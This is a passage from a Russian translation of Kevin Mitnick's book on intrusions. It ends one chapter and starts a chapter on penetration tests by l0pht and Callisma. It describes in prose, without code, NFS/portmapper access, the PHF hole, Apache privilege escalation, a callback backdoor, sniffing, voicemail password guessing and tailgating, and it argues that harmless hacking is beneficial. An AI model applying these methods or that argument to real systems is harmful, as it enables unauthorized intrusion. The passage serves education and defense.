Косту и других заключенных тюрьмы Boron часто везли полчаса по пустыне в чадящем тюремном автобусе на близлежащую базу военно-воздушных сил Edwards для интеллектуальной деятельности. «Они впустили меня в военный ангар с VAX-сервером. А ведь мне не разрешалось даже приближаться к компьютеру». Он предупредил сержанта. «Я рассказал ему всю мою историю, а он сказал мне „Плюнь на это и работай“. Коста незамедлительно вошел в военный компьютер: „Каждый день я тусовался на IRC-сайтах и беседовал с кем хотел, находясь при этом в тюрьме. Я перегрузил себе Doom очень быстро. Это было просто прекрасно!“
Однажды Косте поручили чистить секретные коммуникации, наполненные очень чувствительной электроникой. «Я просто не мог поверить, что они разрешат нам делать это».
С одной стороны, их пребывание в тюрьме выглядит сказкой или шуткой. На самом деле это было не так. Каждый месяц в тюрьме был вычеркнутым из жизни временем, когда они не могли учиться, не могли заботиться о близких людях и быть с теми, с кем им хотелось быть рядом. Каждое утро заключенный начинал с раздумий о том, придется ли ему сегодня сражаться, чтобы защитить себя или свою собственность. И следственный изолятор и тюрьма — это ужасные места.
  ЧТО   ОНИ   ДЕЛАЮТ   СЕГОДНЯ
После освобождения оба наших героя стали жить обычной жизнью. Мэтт сегодня работает в большой компании в Сан-Хосе разработчиком приложений на языке Java. У Косты своя компания и он занят «установкой систем наблюдения и аудио систем для бизнеса». Он нашел работу, которая ему по душе; люди, измученные своими делами, должны ему завидовать, потому что, по его словам, он «наслаждается каждой минутой своей жизни».
  АНАЛИЗ
Кажется удивительным, что в сегодняшнем мире хакеры по-прежнему запросто проникают на многие корпоративные сайты. Зная все эти истории о взломе компьютерных систем, в сочетании с постоянно растущими заботами о безопасности, с появлением специально обученных обеспечению безопасности людей — в штате или привлекаемых в качестве консультантов — не только в больших, но и в малых компаниях, можно только удивляться тому, как у пары подростков хватило мастерства для того, чтобы проникнуть в компьютеры суда, крупной сети отелей и такой компании, как Boenig Aircraft.
Одна из причин, почему это случилось, как я думаю, заключается в том, что многие хакеры следуют по пути, по которому шел и я, проводя массу времени за изучением компьютерных систем, операционных систем, программных приложений, сетевых технологий и много другого. Большинство из них самоучки, причем многие обучались путем эффективного процесса «обмена знаниями». Некоторые из молодых людей настолько преуспели в своих занятиях, что им вполне можно было бы присвоить степень кандидата хакерских наук. Если бы такие уважаемые университеты США, как Массачусе-тский технологический институт, или Калифорнийский технологический институт, присуждали такие степени, то я могу назвать не так много имен людей, которые могли бы сидеть в экзаменационной комиссии.
Никто не знает, сколько консультантов по безопасности раньше были хакерами (включая некоторых из тех, чьи истории приведены на этих страницах). Взлом систем безопасности требует определенного склада ума, который способен тщательно анализировать пути для реализации этого взлома. Тот, кто пытается работать в этой сфере только на основе знаний, полученных в теории, быстро понимает, что ему требуется практический опыт, чтобы он смог успешно конкурировать с «консультантами», которые начали свое обучение в возрасте восьми-десяти лет.
Как это ни трудно признавать, правда состоит в том. что всем, работающим в области безопасности, надо многому учиться у хакеров, которые могут выявить слабости системы и наиболее эффективные и экономичные способы ее взлома. Да, они нарушают закон своими действиями, но они делают важное дело. На самом деле очень многие профессионалы в сфере безопасности в прошлом были хакерами.
Некоторые прочтут эти строки и подумают, что бывший хакер Кевин Митник просто-напросто защищает современных хакеров. Однако. правда заключается в том, что многие хакерские атаки служат благородной цели выявления слабостей в системе безопасности компаний. Если хакер не причиняет никаких повреждений, проводя свою атаку или запускает атаку «отказа в предоставлении услуги», испытывают ли компании ущерб от такой атаки или выгоду, поскольку их оповещают об их уязвимости?
  КОНТРМЕРЫ
Обеспечение адекватного управления конфигурацией — это важный процесс, который нельзя игнорировать. Даже если вы правильно сконфигурировали все оборудование и ПО в процессе установки системы и своевременно вносите все необходимые обновления в систему безопасности, неправильная конфигурация всего одного элемента может создать брешь в системе защиты. Каждая компания должна иметь установленную процедуру обучения, тренировки и постоянного напоминания, буквально внедрения ощущения важности безопасности для ИТ-персонала, который будет устанавливать новые компьютеры и новое ПО, а также для телекоммуникационного персонала, устанавливающего телефоны, а вдобавок к этому создать структуру постоянных проверок всех аспектов безопасности.
В нашей предыдущей книге — «Искусство обмана» — мы всячески рекламировали необходимость разработки четкого плана обучения приемам компьютерной безопасности всех сотрудников. Все системы и устройства должны быть тщательно проверены на безопасность еще до того, как будут отправлены в производство.
Я абсолютно уверен в том, что полагаться на один-единственный пароль — это практика прошлого. Более надежные формы безопасной авторизации, использующие определенные типы устройств, таких, как надежные биометрические приборы, или так называемые «токены» — брелоки с изменяемыми цифровыми ключами, должны использоваться в сочетании с мощным персональным паролем — часто обновляемым — для защиты систем и хранимой в них информации. Использование новых, более сильных форм авторизации не гарантирует полную защиту от хакерских атак, но по крайней мере повышает защищенность системы.
Те, кто продолжает полагаться только на обычные пароли, должны проводить специальные тренинги и часто напоминать сотрудникам о том, как сделать их максимально эффективными. Прежде всего, пароли должны содержать как минимум одну цифру плюс один символ вдобавок к буквам, и должны часто меняться.
Следующие шаги заключаются в убеждении сотрудников не полагаться на «ленивую память» и не записывать свои пароли на клочках бумаги, не приклеивать их на монитор своего компьютера, не прятать под клавиатурой, или в других очевидных местах на своем столе, в которые вор обязательно заглянет в первую очередь. Кроме того, правильная практика использования паролей требует не использовать одинаковые или похожие пароли несколькими сотрудниками.
  ПОСЛЕСЛОВИЕ
Люди, будьте бдительны. Простейшее изменение паролей на более сложные и часто изменяемые может защитить ваш бизнес от преступников.
Но дело не только в тупости пользователей. Производители ПО всегда ставят на первое место функциональность и совместимость, а безопасность — только после них. Естественно, в руководство для пользователей вставляются подробные указания и инструкции. Хорошо известно старое правило инженеров: «Когда все сломалось, прочти инструкции». Чтобы следовать этому дурному правилу, совсем не надо иметь высшего образования.
Пришло время, когда производители оборудования начинают понимать важность проблемы обеспечения безопасности. И они, и производители ПО наконец-то осознали, что большинство людей не читают документации. А что вы думаете о предупреждении во всех руководствах о необходимости соблюдения правил безопасности или изменении предварительно установленных паролей, когда начинается использование продукта? Более того, как сделать безопасность встроенной в устройство по умолчанию? Microsoft сделал это не так давно, лишь в конце 2004 года появились Windows XP Professional и Home Edition вместе с «Service Pack 2», куда межсетевой экран встроен изначально. Почему же это естественное решение заняло так много лет?
Компании Microsoft и другим производителям операционных систем стоит задуматься об этих ушедших годах. Такое простое изменение во всех продуктах сделало бы все киберпространство более безопасным для всех нас.

Глава 6.
  Мудрость   и   глупость проверок   безопасности

Системы безопасности должны побеждать каждый раз, а атакующему достаточно и одной победы.
Дастин Дюкс

Начальник тюрьмы приглашает экспертов для того, чтобы проверить процедуры безопасности в его учреждении, заботясь о наличии любой бреши, которая позволит заключенному ускользнуть. Все компании думают в том же направлении, что и приводит их в фирмы, занимающиеся обеспечением безопасности, с просьбой проверить защищенность их Интернет-сайта и компьютерных сетей от вторжения хакеров, которые будут пытаться найти путь к важной информации, или местам ограниченного доступа, или же брешей в системах безопасности, которые могли бы поставить компанию на грань риска.
Для людей, занимающихся безопасностью, это носит специальное название «тесты проникновения», или, на профессиональном жаргоне «pen tests». Фирмы, занимающиеся безопасностью, которые проводят эти тесты, часто берут к себе на работу (вот уж сюрприз!) бывших хакеров. И основатели этих фирм часто являются людьми с таким хакерским прошлым, что предпочитают держать его в тайне от своих клиентов. В том, что профессионалы в области безопасности приходят из хакерской среды, есть глубокий смысл, поскольку настоящий хакер хорошо знает, как все традиционные, так и нетрадиционные ходы, которые компании непреднамеренно оставляют открытыми в свои внутренние «святая святых». Многие из этих бывших хакеров знают «с младых ногтей», что термин «безопасность» в большинстве случаев употребляется неправильно.
Любую компанию, которая заказывает «pen test» и ожидает результатов, чтобы убедиться в том, что их система нетронута и не имеет брешей, ожидает сильное разочарование. Профессионалы в бизнесе проведения проверок безопасности часто отыскивают одни и те же старые ошибки: компании просто не прилагают достаточно усилий к тому, чтобы достойно защитить свою ценную информацию и компьютерные системы.
Причина, по которой компании и государственные агентства проводят проверку безопасности, заключается в стремлении узнать истинное положение вещей в данный момент времени. Более того, они могут ощутить прогресс после устранения найденных уязвимостей. Тест проникновения в некотором смысле аналогичен электрокардиограмме. На следующий день после проверки хакер может проникнуть в сеть, используя новые обнаруженные им бреши в ПО, хотя проверка безопасности прошла «на ура».
Поэтому проверять безопасность в надежде, что она подтвердит правильность действий компании по защите ценной информации, просто глупо. Результат скорее всего докажет обратное, что и демонстрируют следующие истории — одна о консалтинговой компании, другая — о биотехнической фирме.
  ОДНОЙ   ХОЛОДНОЙ   ЗИМОЙ
Не так давно несколько менеджеров и руководителей большой И Т —компании в Новой Англии собрались в своей комнате для переговоров, чтобы пообщаться с двумя консультантами. Могу себе представить, как технологические эксперты компании удивились, увидев рядом с собой за столом консультанта Питера Затко. в недалеком хакерском прошлом хорошо известного под именем Mudge.
В начале девяностых годов Mudge с приятелями собрал единомышленников, чтобы работать вместе в небольшой комнатке на складе в Бостоне; эта группа стала уважаемым игроком на рынке компьютерной безопасности и стала называться l0pht. или, говоря более точно, l0pht Heavy Industries. (Имя пишется с маленьким 1, нулем вместо буквы «о», затем в хакерском стиле «ph» вместо звука «ф» и произносится «лофт»). После того, как операции становились все более успешными, и репутация фирмы укреплялась. Mudge стали приглашать для того, чтобы он мог поделиться своими знаниями. Он читал лекции в таких местах, как школа военной стратегии в Монте-рее на тему «Информационное оружие» — как проникнуть во вражеский компьютер и нарушить его работу, не будучи замеченным, а также о технологиях разрушения информации и т.п.
Одно из самых популярных средств для компьютерных хакеров (а иногда и для сотрудников безопасности) — это пакет программ под названием l0phtCrack. Волшебные свойства этой программы воспринимаются теми, кто ее использует, как должное, но я подозреваю, что многие другие люди ее люто ненавидят. Группа l0pht привлекла внимание СМИ, поскольку именно ее члены написали эту программу, которая быстро взламывает множество закодированных паролей. Mudge был соавтором в создании l0phtCrack и одним из основателей Интернет-сайта, который сделал эту программу доступной для хакеров и любого заинтересованного человека, сначала бесплатно. а потом — за деньги.
  ПЕРВАЯ   ВСТРЕЧА
Запрос, который получила компания Lopht от консалтинговой компании (мы будем называть ее «Newton»), возник после того, как компания решила расширить спектр услуг, который она предлагала своим клиентам, добавив в него тесты безопасности. Вместо того, чтобы нанимать новых людей и постепенно строить соответствующий отдел, они решили обратиться к существующим организациям за теми решениями, которые они могли бы купить и использовать в своих целях. В начале встречи один из сотрудников компании изложил эту идею: «Мы хотим купить вас и сделать частью нашей компании». Mudge вспоминает реакцию:
«Наша реакция была типа: „Хорошо, но… вы нас совсем не знаете“. Мыто знали, что они были глубоко заинтересованы в нас благодаря тому шуму, который СМИ подняли по поводу l0pht».
Отчасти, чтобы выиграть время, необходимое для того, чтобы привыкнуть к мысли о продаже компании, отчасти из-за того, что он не хотел форсировать сделку, Mudge решил выбрать тактику выжидания.
«Я сказал: „ В ы просто не знаете, что покупаете. Что вы скажете о пятнадцати тысячах долларов в качестве нашего гонорара, ведь нам придется серьезно поработать с этими тестами“.
В тот момент l0pht даже не занималась подобными исследованиями. Но я сказал им: « В ы не знаете наших способностей, вы исходите просто из нашей известности. З а п л а т и т е нам пятнадцать тысяч долларов. Е с л и вам не понравится то, что вы получите, то вы просто не будете нас покупать и, тем не менее, потраченное время окупится, поскольку вы получите качественные результаты проверки безопасности, а у н а с будет пятнадцать тысяч д о л л а р о в в банке. С другой стороны, е с л и вам в с е понравится, на ч т о мы искренне надеемся, тогда вы нас купите». Они сказали: «Прекрасно, нас это устраивает». А я подумал; «Что за идиоты!»
В понимании Mudge, в «Newton» сидели «идиоты», поскольку допустили команду l0pht к своим файлам и всей корреспонденции и в то же время хотели купить эту компанию. Он был уверен, что сможет «заглянуть им через плечо».
(«Подглядывание через плечо» — этот красочный термин конкретно означает тайное подглядывание за тем, как некто набирает на компьютере свой пароль. Специализирующийся именно в этом занятии хакер может по движению пальцев по клавиатуре определить. что печатает человек, не привлекая к себе особого внимания).
  ОСНОВНЫЕ   ПРАВИЛА
Консультанты по безопасности, проводящие тесты безопасности, похожи на полицейских, работающих под прикрытием и покупающих наркотики. Если ничего не знающий другой полицейский заметит это безобразие и наведет на них свой пистолет, то они покажут ему свои полицейские значки. Они могут не опасаться тюрьмы. Консультанты по безопасности, которых пригласили для проверки надежности защиты компании, хотят обладать такой же неприкосновенностью. Правда, вместо полицейского значка каждый участник проверки получает письмо, подписанное кем-то из руководства компании, которое гласит: «Этот человек приглашен для выполнения нашего задания, если вы поймаете его за каким-то противозаконным занятием, не беспокойтесь. Не мешайте ему. Позвольте ему делать свое дело и пошлите мне отчет о деталях инцидента».
В сообществе экспертов безопасности такое письмо всем известно под названием «индульгенции». Все участники проверки стремятся сделать несколько копий этого письма и всегда иметь их при себе, когда они занимаются работой в компании клиента, — это нужно, чтобы обезопасить себя от какого-нибудь ретивого стража порядка, который решит продемонстрировать свою власть и показать руководству свою бдительность, или же от аккуратного сотрудника, который заметит что-то подозрительное, и у него хватит ума вступить в конфликт с проверяющим.
Еще одним обязательным шагом перед тем, как проверка начнется. всегда становится определение клиентом основных правил — какая часть бизнеса компании должна быть включена в проверку, а какая — останется за ее пределами. Является ли эта проверка чисто технической атакой, чтобы посмотреть, смогут ли проверяющие получить доступ к важной информации, найдя незащищенные участки системы или пробравшись через межсетевой экран? Или это проверка приложений общедоступного Интернет-сайта, или внутренней компьютерной сети, или всей системы? Должны ли быть включены в проверку атаки социальных инженеров — попытки обмануть сотрудников и получить неавторизованную информацию? А как быть с физическими атаками, в процессе которых проверяющие пытаются проникнуть в здание, обманув охрану или просочившись через вход «только для сотрудников»? А как насчет попыток получить информацию при помощи «рытья в помойках», то есть, просматривая все мусорные корзины в поисках выброшенной ценной информации? Все это должно быть оговорено заранее.
Часто компании заказывают лишь ограниченную проверку. Один из членов группы l0pht, Карлос, считает такую практику нереальной, подчеркивая, что «хакеры так не работают». Он предпочитает более агрессивный подход, как бой «без перчаток», где нет никаких ограничений. Такой тип проверки не только более результативен и ценен для клиентов, но более привлекателен и для самих проверяющих. Как говорит Карлос, «это гораздо приятнее и интереснее». В данном случае его желания были удовлетворены: компания «Newton» согласилась на неограниченную атаку.
Проверка безопасности по сути своей основана на доверии. Компания, которая приглашает людей для проверки, должна полностью доверять им, чтобы согласиться на проведение оценки безопасности. Более того, большинство бизнес-компаний и правительственных агентств требуют заключения соглашения о неразглашении ( N D A — non disclosure agreement), чтобы законным образом защитить всю свою информацию от неавторизованного раскрытия.
Для проверяющих вполне естественно подписывать NDA. поскольку они вполне могут добраться до секретной информации. (Конечно, N D A кажется чрезмерной предосторожностью: если компания без разрешения использует информацию одного клиента, то она, скорее всего, лишится всех остальных. Тем не менее — береженого Бог бережет, как говорится). Кроме того, проверяющих просят подписать еще одну бумагу о том, что они попытаются не нарушать текущего бизнеса компании.
Команда l0pht для проверки компании Newton состояла из семи сотрудников, которым предстояло работать поодиночке или попарно, причем каждый из членов команды отвечал за тот или иной аспект деятельности компании.
  АТАКУЕМ  !
Имея на руках «индульгенции», члены команды l0pht могли быть настолько агрессивны, насколько хотели, они могли даже «шуметь» — имеется в виду, производить такие действия, которые могли бы привлекать к ним внимание, чего обычно проверяющие стараются избегать. Тем не менее, они надеялись остаться невидимыми. «Гораздо круче получить всю информацию так, чтобы тебя до конца не смогли обнаружить. Мы всегда стараемся так поступать», — говорит Карлос.
Поставив перед собой задачу реализации технической атаки на сеть, Mudge был удовлетворен тем, что системный администратор «закрыл перед ним ворота», то есть обезопасил компьютерную систему, сделал то, что должно быть сделано, когда сервер соединен с такой открытой сетью, как Интернет. Он искал файлы и директории, надеясь найти такие, куда можно было бы записать что-нибудь. Если бы ему это удалось, он бы смог модифицировать систему или конфигурационный файл — сделать решающий шаг к взлому системы.
На Интернет-сервере компании «Newton» работало популярное серверное ПО под названием Apache. Первой лазейкой, которую обнаружил Mudge, стал межсетевой экран компании Checkpoint, в котором по умолчанию было сконфигурировано правило, которое пропускало пакеты, исходящие из UDP или ТСР-порта 53 и всех портов с номерами выше 1023. Его первой мыслью было попытаться добраться до их системы экспорта файлов при помощи NFS, но он быстро понял, что в межсетевом экране есть правило, блокирующее доступ к району NFS (порт 2049).
Хотя основные системные сервисы были заблокированы, Mudge знал одну неописанную особенность операционной системы Solaris, которая связывает rpcbind (the portmapper) с портами выше 32770. Программа portmapper приписывает динамические номера портов определенным программам. С помощью portmapper он смог отыскать динамический порт, который был предназначен для услуги mount daemon (mountd). В зависимости от формата запроса, говорит Mudge, «mount daemon» находит запрос NFS (Network File System). поскольку он использует тот же код. «Я получил mount daemon из portmapper. а затем обратился к mount daemon с моим „NFS-запро-сом“». Используя программу под названием nfsshell, он смог удаленно з а г р у з и т ь файловую систему. Mudge говорит: « М ы быстро получили список dial-up номеров. После этого перегрузили всю их систему экспорта файлов. Мы получили полный контроль над системой».
Mudge обнаружил также, что на сервере знаменитую «PHF-дырку» (см. Главу 2 «Когда террорист звонит»). Он смог создать текст PHF C G I для выполнения произвольной команды, разместив строку Unicode перед командой запуска. Просматривая систему с помощью PHF, он понял, что процесс сервера Apache выполняется от имени пользователя «никто». Эта ошибка означала, что он мог переписать содержание файла httpd.conf.
Его стратегия заключалась в том, чтобы изменить конфигурационный файл Apache так, чтобы при следующей перезагрузке Apache сервер работал с привилегиями системного администратора (root account). Ему оставалось найти путь для изменения конфигурации таким образом, чтобы он мог изменить привилегии работы сервера с Apache.
Работая вместе с человеком по кличке Hobbit, они нашли такой способ с помощью программы netcat и нескольких программистских штучек, позволяющих установить связи между уровнями в системе программ. Поскольку системный администратор произвольно менял владельцев файлов в директории « c o n f » на «никто», Mudge смог использовать команду « s e d » для редактирования httpd.conf, так что в следующий раз при запуске Apache он бы работал, как корневая директория root, (лазейка была устранена в следующей версии Apache).
Поскольку все его изменения не могли заработать до нового запуска Apache, ему пришлось какое-то время подождать. Как только сервер будет перезагружен, Mudge сможет выполнить определенные команды, имея привилегии системного администратора через все ту же PHF-дырку: раньше эти команды выполнялись от имени пользователя «никто», но теперь Apache имел бы привилегии root. Имея такую высокую привилегию, очень просто получить полный контроль над системой.
Тем временем атаки l0pht велись и на других «фронтах». То, что большинство хакеров и специалистов в области безопасности называют «рытье в помойках», Mudge величает «физическим анализом». «Мы послали ребят заняться физическим анализом. Один из сотрудников (компании клиента), как я понял, недавно был уволен, и вместо того, чтобы уничтожить все свои бумаги, просто выбросил их в помойку. Наши ребята отыскали их среди мусора. Там было множество авиабилетов, руководств и масса других документов для внутреннего пользования».
«Я хотел показать клиенту, что хорошая система безопасности состоит не только из компьютерной безопасности».
«Наша работа была совсем простой, поскольку они не воспользовались измельчителем. Естественно, гораздо проще выбросить все в помойку, чем пропускать через измельчитель. У меня до сих пор где-то хранится этот мусор».
Ребята из «физической» команды занимались и тем, что проходили в помещения компании, используя достаточно простой, а в правильных обстоятельствах практически беспроигрышный метод, известный под названием «хвостиком в ворота». Суть его в том, что вы идете сразу за сотрудником компании, когда он проходит через дверь в охраняемое помещение, это особенно успешно работает в местах, близких к кафетерию или другим местам, где собираются сотрудники компании. Многие сотрудники, особенно находящиеся на невысоких должностях. предпочитают не возражать против того, что прямо вслед за ними кто-то входит в помещение компании через дверь с секретным замком, опасаясь, что этот человек может быть выше их рангом.
Еще одна команда l0pht занималась атаками на телефонную систему компании и систему голосовой почты. Обычно такая работа н а ч и н а е т с я с того, что выясняется производитель и тип системы, которой пользуется компания-клиент, затем компьютеры устанавливаются в режим «грубой силы» — суть его в том, что пробуется одно расширение за другим в поисках сотрудников, которые не меняют своих паролей или же используют легко узнаваемые пароли. После того, как отыщется уязвимый телефон, атакующие получают возможность прослушивать и сохранять голосовые письма. (Хакеры телефонных систем — «фрикеры» — используют тот же метод для того, чтобы делать звонки за счет других компаний).
В режиме «грубой силы» команда l0pht выявила телефоны, на которые отвечали модемы dial-up. Иногда эти соединения оставляют незащищенными, полагаясь на уже известный нам глупый метод «безопасность через неясность», часто они находятся с внутренней стороны межсетевого экрана.
  ЗАТЕМНЕНИЕ
Время шло, команда постепенно накапливала все больше и больше полезной информации, но Mudge никак не мог найти хорошую идею, как ему заставить систему Apache перезагрузиться, после чего он смог бы получить контроль над сетью. Затем произошло несчастье, которое оказалось большой удачей для нашей команды. «В выпуске новостей я услышал, что произошла авария, и отключилось электричество как раз в том районе города, где находилась наша компания.
Произошла трагедия: сотрудник электрокомпании погиб при взрыве оборудования на другом конце города, но это привело к отключению электричества во всем городе.
Я подумал, что если восстановление энергосистемы займет достаточно много времени, то питание сервера должно отключиться».
Это означало бы, что отключится и сервер. После того, как восстановится питание в городе, система будет перезагружена.
«Я сидел и постоянно проверял Интернет-сервер и вдруг он отключился. И м н а д о б у д е т его перегрузить. В с е складывалось д л я н а с просто прекрасно. После включения системы сервер будет перезагружен и Apache начнет работать с привилегиями root, как мы и планировали».
В этот момент l0pht получила возможность полностью проникнуть в компьютеры, что стало для проверяющих «отправной точкой полного сканирования и атаки». Следуя терминологии Карлоса, этот день можно назвать «началом работы».
Команда разработала специальную программу, которая делала невозможным их отключение от системы. Корпоративный межсетевой экран не предназначен для того, чтобы блокировать исходящий трафик, и несложная программа Mudge, установленная на одном из серверов «Newton», каждые несколько минут соединялась с компьютером под его контролем. Такое соединение обеспечивало командный интерфейс типа «команда-уровень», аналогичный тому, что используется пользователями Unix, Linux и старых операционных систем DOS. Другими словами, компьютер в компании «Newton» регулярно предоставлял команде Mudge возможность вводить команды в обход корпоративного межсетевого экрана.
Чтобы их не обнаружили, Mudge назвал свой файл именем, замаскированным под типичные названия файлов этой системы. Любой. заметивший этот файл, предположил бы, что он является нормальной программой.
Карлос занимался изучением базы данных в надежде найти данные о сотрудниках, «Если вы сможете продемонстрировать CIO (Chief Information Officer — руководитель ИТ-подразделения компании) не только его зарплату, но и размер премий, то он сразу же напишет вам отзыв, что вы узнали все». Mudge настроил «нюхач» на все электронные письма, входящие и исходящие из компании. Когда сотрудник «Newton» занялся рутинной проверкой межсетевого экрана, l0pht знали об этом. Они были буквально шокированы тем, что для входа в межсетевой экран использовался открытый текст.
За короткое время l0pht проникли во всю сеть и собрали все необходимые доказательства этому. Mudge говорит: «Вы знаете, я думаю, именно поэтому большинство компаний не любит проводить тесты безопасности в своих сетях. Они знают, что все обстоит очень плохо».
  РАСКРЫТИЕ   ГОЛОСОВОЙ   ПОЧТЫ
Команда, занимающаяся исследованием телефонных систем. обнаружила, что некоторые представители руководства «Newton», занимающиеся делом покупки l0pht имеют на своих ящиках голосовой почты пароли, установленные там изначально по умолчанию. Mudge со своей командой начал прослушивать их почту — это было забавно.
Одним из условий, которые они выдвигали для покупки l0pht, было создание мобильной тестовой лаборатории — небольшого, но емкого автомобиля, который надо было начинить разнообразным беспроводным оборудованием, чтобы использовать его для тестирования беспроводных сетей. Одному из членов руководства «Newton» идея покупки автомобиля для группы l0pht показалась настолько абсурдной, что он начал называть его смешным именем «Winnebago». Его голосовая почта буквально переполнена переговорами с другими руководителями с упоминанием этого «Winnebago» и команды l0pht, Mudge это и забавляло, и раздражало.
  ОКОНЧАТЕЛЬНЫЙ   ДИАГНОЗ
Когда время тестов подошло к концу, Mudge с коллегами написали отчет и готовились представить его на встрече со всеми руководителями компании «Newton». Сотрудники «Newton» не имели ни малейшего представления, чего ожидать, а команда l0pht знала, что это будет зажигательная встреча.
«Итак, мы передали им наш отчет и по сути дела открыли им глаза. Неудивительно, что они были потрясены. Их выдающийся системный администратор, честно говоря, очень симпатичный парень, был выслежен нами при помощи установленного „нюхача“, мы засекли его, когда он пытался войти в маршрутизатор, пробуя один за другим несколько паролей — все неудачно».
Это были специальные пароли администратора для любых внутренних систем, которые проверяющие получили всего за несколько минут. Mudge с удовольствием вспоминает, как элегантно это было сделано.
«Наиболее интересной частью всей их голосовой почты для нас были переговоры о нашей покупке. Они говорили нам: „Да, ребята, мы хотим вас купить“. Но во время переговоров друг с другом они говорили: „Да, мы действительно хотим заполучить Mudge, но нам совершенно не нужны все его коллеги. Как только они будут наши, лишних мы выкинем“.
Во время встречи с руководством «Newton», команда l0pht представила для прослушивания несколько записанных голосовых писем, а руководство сидело и слушало свои же слова. Но самое главное было еще впереди. Mudge запланировал провести окончательный раунд переговоров о покупке во время этой встречи. Он вспоминает эти подробности с особым удовольствием: «Итак, они заявили: „Мы хотим предложить вам определенную сумму, это предел, до которого мы готовы дойти, и мы выполним в с е наши обязательства“. При этом мы точно знали, что из сказанного ими — правда, а что — ложь».
Они начали разговор со своей минимальной суммы, сказав: «Что вы дум а е т е по поводу этого?». Мы ответили так: « В ы знаете, мы не готовы согласиться на сумму меньше, чем . . . » и назвали им сумму, которая, как мы знали, была их максимальной границей».
Они отвечали: «Нам необходимо обсудить ваше предложение, дайте нам несколько минут, не могли бы вы оставить н а с в комнате одних?» Мы не отнеслись к их предложению серьезно. Но они-то действительно надеялись легко заполучить нас».
Во время заключительной встречи между представителями двух компаний, как вспоминает Mudge, « м ы убедили их, что нет такого компьютера в их сети, к которому мы не смогли бы получить полный доступа. Карлос вспоминает, что „при этом лица присутствующих членов руководства „Newton“ стали бордовыми“.
В конце концов, команда l0pht просто ушла. Они получили свой гонорар в 15000 долларов, но решили не продавать свою компанию.
  ОПАСНАЯ   ИГРА
Для консультанта по безопасности Дастина Дюкса, хакерство ради выгоды «просто смешно, главное — это адреналин». Поэтому, когда он пришел в комнату для переговоров фармацевтической компании, которую мы будем называть «Biotech», для того, чтобы обсудить с ними проведение тестов безопасности, он был в бодром состоянии духа и готов к грядущим испытаниям.
Как ведущий консультант в департаменте безопасности компании Callisma (теперь подразделение SBC), Дастин заставил своих сотрудников прийти на это собрание в костюмах и галстуках. Он уже начал было скучать, когда появились сотрудники Biotech в джинсах, майках и шортах, что выглядело тем более необычно, что в районе Бостона в тот год была одна из самых холодных зим за все время наблюдения.
Несмотря на то, что Дастин какое-то время занимался сетевым администрированием, он всегда считал себя экспертом в области безопасности, по его словам, ощущение, что он создан для этого, появилось у него во время службы в авиации: «Я культивировал мою скрытую паранойю: такое состояние души, когда вам кажется, что в любой момент на вас могут напасть».
К компьютерам в седьмом классе его приобщила мачеха. Она тогда работала в одной компании системным администратором. Дастин был совершенно очарован иностранным звучанием ее речи. когда она говорила о своей работе по телефону. Однажды, когда ему было тринадцать, «она принесла домой компьютер, который я забрал в свою комнату и запрограммировал его на создание героев игр Dungeos and Dragon и игры в кости».
Роясь в учебниках по языку Basic и схватывая все, чему он мог научиться у друзей, Дастин развивал свои таланты. Он научился использовать модем для соединения с рабочим местом своей мачехи, чтобы играть в приключенческие игры. Вначале ему нужно было лишь все больше и больше компьютерного времени, но по мере того как он взрослел, он осознал, что его свободный дух плохо монтируется с проведением всей жизни перед терминалом. В качестве консультанта по безопасности он мог сочетать свои таланты со своей тягой к авантюре. Это было оптимальное решение.
Его карьера складывается отлично. «Я просто в восторге от своей профессии», — говорит он. «Это как игра в шахматы. На каждый ваш ход есть ответный ход. И каждый ход полностью меняет ситуацию на доске».
  ПРАВИЛА   И  Г  Р  Ы
Для каждой компании имеет смысл озаботиться уровнем своей уязвимости — подумать, насколько успешно меры, которые она предпринимает по защите своей интеллектуальной собственности, могут обезопасить компанию от потери конфиденциальности и от проникновения хакеров, а сотрудников — от электронных вторжений, нацеленных на персональную информацию.
У некоторых компаний есть еще более жесткие резоны, например, защита от правительственных детективных агентств, проигрыш которым может означать потерю важного контракта или исследовательского проекта. Любая компания, имеющая контракт с министерством обороны, попадает в эту категорию. Поэтому любая компания, занимающаяся серьезными биотехнологическими исследованиями, должна помнить о том, что департамент администрации по контролю над лекарствами и продуктами буквально заглядывает через ее плечо — именно в этот разряд и попадал новый клиент Callisma. В соседстве с опасными химикатами, в лабораториях, где ученые проводят такие опыты, о которых эксперты по безопасности и слыхом не слыхивали, этот опыт обещал быть очень интересным.
На первой же встрече с представителями Biotech команда Callisma поняла, что от нее требуется проведение всех возможных типов атак, которые только можно себе представить: от простых до сложных технических атак, от применения методов социальной инженерии до физических взломов. Руководители ИТ-подразделения компании, как часто бывает в таких случаях, были уверены, что все попытки взломщиков окончатся их полным поражением. Biotech сразу же установила такое правило: неприемлемы никакие неточности в документальных доказательствах.
Был продуман механизм прекращения работы проверяющих. Иногда это могло быть сделано достаточно просто, например, для остановки атаки, которая могла негативно повлиять на работу компании, любой из сотрудников должен был произнести предварительно согласованное кодовое слово. Компания также разработала четкие правила по обращению с добытой информацией — как ее следует хранить, когда и кому она должна предоставляться.
Поскольку проведение проверок может пересекаться с обычной работой компании, предусмотрено несколько «а что, если…». Кого следует уведомить, если вдруг нарушится предоставление той или иной услуги? В какую часть системы можно проникать и как? И как проверяющие поймут, до какого предела можно проводить атаку, чтобы не нанести непоправимые потери и не повредить бизнесу компании?
Клиенты часто просят ограничить проверки только техническими атаками и упускают из виду другие лазейки, которые могут быть еще более опасны для компании. Дастин Дюкс говорит:
«Независимо от того, что они говорят, я знаю, что поначалу они хотят только выяснить технические слабости их системы, но на самом деле их уязвимость может быть совсем в другом.. Опытный атакующий всегда пойдет по пути наименьшего сопротивления, отыскивая самое ненадежное звено в системе безопасности. Как поток воды, бегущий вниз по склону, атакующий пойдет к успеху самым простым и эффективным путем».
Атаки из области социальной инженерии, по мнению Дастина, всегда должны входить в состав проверок. (Более подробно о социальной инженерии мы поговорим в Главе 10 «Социальные инженеры — как они работают и как их остановить»).
В этот раз он был почти готов отказаться от этих «номеров из своего репертуара». Если атака физического проникновения не получится «в легкую», он не будет и пытаться это делать. Для него это самый нежелательный вариант даже при наличии «индульгенции». «Если что-то плохое должно случится, оно случается тогда, когда я пытаюсь проникнуть в здание так, чтобы меня не заметили охранники или бдительные сотрудники».
Главное, что следовало определить его команде, прежде чем приступать к делу: в чем самое ценное для тестируемой компании, ее «Священный Грааль». В этой игре электронного слежения с высокими ставками очень важно знать это в точности. Как выяснилось, для фармацевтической компании таким «Священным Граалем» являются финансовые отчеты, списки клиентов, поставщиков, процесс производства и научно-исследовательские разработки.
  ПЛАНИРОВАНИЕ
